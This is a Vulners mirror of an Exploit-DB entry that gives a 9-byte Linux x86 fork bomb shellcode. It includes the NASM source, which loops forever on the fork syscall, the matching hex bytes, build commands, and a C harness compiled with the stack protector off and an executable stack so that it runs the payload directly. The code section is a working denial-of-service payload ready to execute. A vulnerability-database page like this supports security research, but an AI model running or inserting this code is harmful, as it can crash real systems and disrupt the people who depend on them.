Lucene search
K

Linux/x86 - Fork Bomb Shellcode (9 bytes)

🗓️ 30 Aug 2017 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

Linux x86 Fork Bomb Shellcode 9 bytes. This shellcode may crash the system when executed

Code
/*
;Title: Linux/x86 - Fork() Bomb Shellcode
; Author: Touhid M.Shaikh
; Contact: https://github.com/touhidshaikh
; Category: Shellcode
; Architecture: Linux x86
; Description: This shellcode may crash ur system if executed in ur sys.
Length: 9 bytes


===COMPILATION AND EXECUTION===

#nasm -f elf32 shell.asm -o shell.o <=== Making Object File

#ld -m elf_i386 shell.o -o shell <=== Making Binary File

#./bin2shell.sh shell <== xtract hex code from the binary(
https://github.com/touhidshaikh/bin2shell)



=================SHELLCODE(INTEL FORMAT)=================

section .text

global _start

_start:

xor eax,eax
add eax,2
int 0x80
jmp _start

===================END HERE============================

Compile with gcc with some options.

# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing

*/

#include<stdio.h>
#include<string.h>


unsigned char code[] = \
"\x31\xc0\x83\xc0\x02\xcd\x80\xeb\xf7";

main()
{

printf("Shellcode Length:  %d\n", (int)strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Aug 2017 00:00Current
7.4High risk
Vulners AI Score7.4
48